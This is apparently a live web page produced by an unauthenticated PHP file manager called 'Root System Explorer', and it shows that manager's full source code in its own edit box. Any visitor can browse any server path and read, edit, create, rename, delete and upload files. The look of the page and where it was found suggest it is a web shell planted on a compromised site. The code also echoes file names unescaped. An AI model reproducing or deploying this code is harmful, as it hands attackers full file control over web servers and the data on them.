[ Root System Explorer ]
Location:
Root
/
proc
/
self
/
fd
+ Folder
+ File
Upload
Editing: 7
<?php // Ambil path dari URL, jika kosong gunakan direktori saat ini $current_path = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); // Normalisasi path agar tidak ada double slash atau backslash yang aneh $current_path = str_replace(['\\', '//'], '/', $current_path); // Logika Folder Up (Kembali ke folder induk) $parent_path = dirname($current_path); $message = ""; // --- LOGIKA ACTION --- if ($_SERVER['REQUEST_METHOD'] === 'POST') { $action = $_POST['action'] ?? ''; $target_name = $_POST['name'] ?? ''; $old_name = $_POST['old_name'] ?? ''; $content = $_POST['content'] ?? ''; // Path lengkap untuk target operasi $full_target = $current_path . '/' . $target_name; $full_old = $current_path . '/' . $old_name; try { if ($action == 'new_folder' && !empty($target_name)) { mkdir($full_target); } elseif ($action == 'new_file' && !empty($target_name)) { file_put_contents($full_target, ""); } elseif ($action == 'rename' && !empty($target_name) && !empty($old_name)) { rename($full_old, $full_target); } elseif ($action == 'delete' && !empty($target_name)) { is_dir($full_target) ? rmdir($full_target) : unlink($full_target); } elseif ($action == 'save_file' && !empty($target_name)) { file_put_contents($full_target, $content); $message = "File saved successfully!"; } elseif ($action == 'upload' && isset($_FILES['file'])) { move_uploaded_file($_FILES['file']['tmp_name'], $current_path . '/' . $_FILES['file']['name']); } } catch (Exception $e) { $message = "Error: " . $e->getMessage(); } } // Ambil daftar file (Gunakan error suppression @ jika permission denied) $items = @scandir($current_path) ?: []; // Logika Edit File $edit_file = isset($_GET['edit']) ? $_GET['edit'] : null; $edit_content = ""; if ($edit_file) { $file_to_read = $current_path . '/' . $edit_file; if (is_file($file_to_read) && is_readable($file_to_read)) { $edit_content = file_get_contents($file_to_read); } } ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <title>Root Explorer PHP</title> <style> body { font-family: 'Courier New', Courier, monospace; background: #1a1a1a; color: #00ff00; padding: 20px; } .container { background: #262626; padding: 20px; border: 1px solid #444; border-radius: 5px; } /* Breadcrumb Dark */ .breadcrumb { margin-bottom: 20px; padding: 10px; background: #333; border-radius: 4px; border-left: 5px solid #00ff00; } .breadcrumb a { color: #00ff00; text-decoration: none; font-weight: bold; } .breadcrumb a:hover { text-decoration: underline; } .toolbar { margin-bottom: 20px; padding: 15px; background: #333; border: 1px dashed #555; display: flex; gap: 10px; flex-wrap: wrap; } input, button, textarea { background: #1a1a1a; color: #00ff00; border: 1px solid #00ff00; padding: 5px; } button { cursor: pointer; font-weight: bold; } button:hover { background: #00ff00; color: #000; } table { width: 100%; border-collapse: collapse; margin-top: 10px; } th, td { padding: 10px; text-align: left; border-bottom: 1px solid #444; } tr:hover { background: #333; } .btn-del { color: #ff5555; border-color: #ff5555; } .btn-del:hover { background: #ff5555; color: #000; } textarea { width: 100%; height: 400px; margin-top: 10px; font-family: 'Courier New'; } a{color: white;} </style> </head> <body> <div class="container"> <h2>[ Root System Explorer ]</h2> <!-- BREADCRUMB DINAMIS --> <div class="breadcrumb"> <strong>Location:</strong> <?php $parts = explode('/', trim($current_path, '/')); $path_builder = (strpos(PHP_OS, 'WIN') === 0) ? "" : "/"; // Cek jika Windows atau Linux echo "<a href='?dir=" . urlencode($path_builder) . "'>Root</a>"; foreach ($parts as $part) { if ($part === '') continue; // Untuk Windows (C:, D:) if (empty($path_builder) && strpos($part, ':') !== false) { $path_builder = $part; } else { $path_builder .= ($path_builder == "/" || empty($path_builder) ? "" : "/") . $part; } echo " / <a href='?dir=" . urlencode($path_builder) . "'>$part</a>"; } ?> </div> <!-- PESAN ERROR/SUCCESS --> <?php if ($message): ?> <div style="color: yellow; margin-bottom: 15px;"> > <?= $message ?></div> <?php endif; ?> <!-- TOOLBAR --> <div class="toolbar"> <form method="POST"> <input type="text" name="name" placeholder="Name..." required> <button type="submit" name="action" value="new_folder">+ Folder</button> <button type="submit" name="action" value="new_file">+ File</button> </form> <form method="POST" enctype="multipart/form-data"> <input type="file" name="file"> <button type="submit" name="action" value="upload">Upload</button> </form> </div> <!-- EDITOR --> <?php if ($edit_file): ?> <div style="margin-bottom: 20px;"> <h3>Editing: <?= htmlspecialchars($edit_file) ?></h3> <form method="POST"> <input type="hidden" name="name" value="<?= htmlspecialchars($edit_file) ?>"> <textarea name="content"><?= htmlspecialchars($edit_content) ?></textarea> <div style="margin-top:10px"> <button type="submit" name="action" value="save_file">SAVE CHANGES</button> <a href="?dir=<?= urlencode($current_path) ?>" style="color: #ff5555;">[ CANCEL ]</a> </div> </form> </div> <?php endif; ?> <!-- LISTING --> <table> <thead> <tr> <th>Name</th> <th>Type</th> <th>Actions</th> </tr> </thead> <tbody> <!-- Link Kembali ke Atas --> <tr> <td colspan="3"><a href="?dir=<?= urlencode($parent_path) ?>" style="color: yellow;">.. (Parent Directory)</a></td> </tr> <?php foreach ($items as $f): if ($f == '.' || $f == '..') continue; $full_item_path = $current_path . '/' . $f; $is_folder = is_dir($full_item_path); ?> <tr> <td> <?php if ($is_folder): ?> <strong><a href="?dir=<?= urlencode($full_item_path) ?>">📁 <?= $f ?>/</a></strong> <?php else: ?> 📄 <?= $f ?> <?php endif; ?> </td> <td><small><?= $is_folder ? 'DIR' : 'FILE' ?></small></td> <td> <div style="display:flex; gap:10px"> <form method="POST" style="display:inline"> <input type="hidden" name="old_name" value="<?= $f ?>"> <input type="text" name="name" placeholder="Rename" style="width:80px"> <button type="submit" name="action" value="rename">Ren</button> </form> <?php if (!$is_folder): ?> <a href="?dir=<?= urlencode($current_path) ?>&edit=<?= urlencode($f) ?>">[EDIT]</a> <?php endif; ?> <form method="POST" onsubmit="return confirm('Delete?')" style="display:inline"> <input type="hidden" name="name" value="<?= $f ?>"> <button type="submit" name="action" value="delete" class="btn-del">DEL</button> </form> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> </body> </html>
SAVE CHANGES
[ CANCEL ]
Name
Type
Actions
.. (Parent Directory)
📄 0
FILE
Ren
[EDIT]
DEL
📄 1
FILE
Ren
[EDIT]
DEL
📄 2
FILE
Ren
[EDIT]
DEL
📄 3
FILE
Ren
[EDIT]
DEL
📄 4
FILE
Ren
[EDIT]
DEL
📄 5
FILE
Ren
[EDIT]
DEL
📄 6
FILE
Ren
[EDIT]
DEL
📄 7
FILE
Ren
[EDIT]
DEL
📄 8
FILE
Ren
[EDIT]
DEL